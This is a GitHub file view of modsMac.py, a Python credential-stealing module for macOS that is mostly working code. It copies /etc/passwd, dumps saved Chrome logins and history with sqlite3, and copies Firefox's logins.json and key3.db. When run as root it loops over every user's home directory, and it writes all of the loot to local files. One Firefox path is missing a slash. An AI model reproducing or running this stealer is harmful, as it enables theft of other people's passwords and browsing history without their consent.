-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmodsMac.py
More file actions
153 lines (145 loc) · 4.5 KB
/
modsMac.py
File metadata and controls
153 lines (145 loc) · 4.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
import os
import subprocess
reports = ''
# find child directories
def getChildir(a_dir):
try:
return [name for name in os.listdir(a_dir)
if os.path.isdir(os.path.join(a_dir, name))]
except:
return False
# find users in system
def enumUsers():
global reports
fullPath = '/Users/'
childirs = getChildir(fullPath)
if childirs:
xx = 0
while xx < len(childirs):
# go thru all users and try to loot them..
if childirs[xx] != '.localized' and childirs[xx] != 'Shared':
try:
reports += '\n'
lootUser = fullPath + childirs[xx]
lootChrome(lootUser)
lootFirefox(lootUser)
except:
break
xx += 1
# main module will loot for passwords in mac
def macLoot(m):
global reports
me = m
reports += '\n - Looting Mac...\n'
# User passwords
fullPath = '/etc/passwd'
if os.path.isfile(fullPath):
try:
f = open(fullPath, 'r')
c = f.read()
if len(c) > 10:
reports += '[*] Found /etc/passwd.\n'
FF = open('passwd.txt', 'w')
FF.write(c)
FF.close()
except: reports += '[e] Passwd: Access denied.\n'
if me != 'root':
reports += ''
lootChrome(0)
lootFirefox(0)
# if we are running as root, lets enum other users
if me == 'root': enumUsers()
# return any reports
return reports
# get chrome pass' from any user [default = current]
def lootChrome(ii):
global reports
if ii == 0: homePath = os.path.expanduser('~')
else: homePath = ii
looted = 0
# Google chrome passwords
fullPath = homePath + '/Library/Application Support/Google/Chrome/Default/Login Data'
if os.path.exists(fullPath):
f = open(fullPath, 'r')
c = f.read()
# if we actually found passwords, write to text file...
if len(c) > 10:
try:
looted += 1
reports += '[*] Found chrome passwords.\n'
fn = str(homePath.rsplit('/', 1)[-1]) + '-chromelogins.csv'
p1 = subprocess.Popen(['sqlite3', '-header', '-csv', '-separator',
',',fullPath, 'SELECT * FROM logins'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
p2 = p1.stdout.read()
p3 = p1.stderr.read()
if len(p2) > 1:
FF = open(fn, 'w')
FF.write(p2)
FF.close()
if len(p3) > 1: reports += '[e] ' + str(p3) + '\n'
except:
reports += '[e] Chrome: Database Locked.\n'
f.close()
# Google chrome history
fullPath = homePath + '/Library/Application Support/Google/Chrome/Default/History'
if os.path.exists(fullPath):
f = open(fullPath, 'r')
c = f.read()
# if we actually found passwords, write to text file...
if len(c) > 10:
try:
looted += 1
reports += '[*] Found chrome history.\n'
fn = str(homePath.rsplit('/', 1)[-1]) + '-chromehistory.csv'
p1 = subprocess.Popen(['sqlite3', '-header', '-csv', '-separator',
',',fullPath, 'SELECT * FROM urls'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
p2 = p1.stdout.read()
p3 = p1.stderr.read()
if len(p2) > 1:
FF = open(fn, 'w')
FF.write(p2)
FF.close()
if len(p3) > 1:
reports += '[e] ' + str(p3) + '\n'
reports += '[*] Try killing chrome:\n'
reports += ' ps aux | grep Chrome\n'
reports += ' kill [process ID]\n\n'
except:
reports += '[e] Chrome: Database Locked.\n'
f.close()
if looted > 0: reports += ' User: ' + str(homePath.rsplit('/', 1)[-1]) + '\n'
# get firefox pass' from any user [default = current]
def lootFirefox(ii):
global reports
if ii == 0: homePath = os.path.expanduser('~')
else: homePath = ii
# Mozilla firefox passwords
fullPath = homePath + '/Library/Application Support/Firefox/Profiles/'
if os.path.exists(fullPath):
childirs = getChildir(fullPath)
# if there is only 1 directory
if len(childirs) == 1:
fullPath = homePath + '/Library/Application Support/Firefox/Profiles/' + childirs[0] + '/logins.json'
if os.path.isfile(fullPath):
f = open(fullPath, 'r')
c = f.read()
# if we actually found passwords, write to text file...
if len(c) > 10:
reports += '[*] Found firefox passwords.\n'
reports += ' User: ' + str(homePath.rsplit('/', 1)[-1]) + '\n'
fn = str(homePath.rsplit('/', 1)[-1]) + '-logins.json'
FF = open(fn, 'w')
FF.write(c)
FF.close()
f.close()
fullPath = homePath + '/Library/Application Support/Firefox/Profiles' + childirs[0] + '/key3.db'
if os.path.isfile(fullPath):
f = open(fullPath, 'r')
c = f.read()
# if we actually found passwords, write to text file...
if len(c) > 10:
fn = str(homePath.rsplit('/', 1)[-1]) + '-key3.db'
FF = open(fn, 'w')
FF.write(c)
FF.close()
f.close()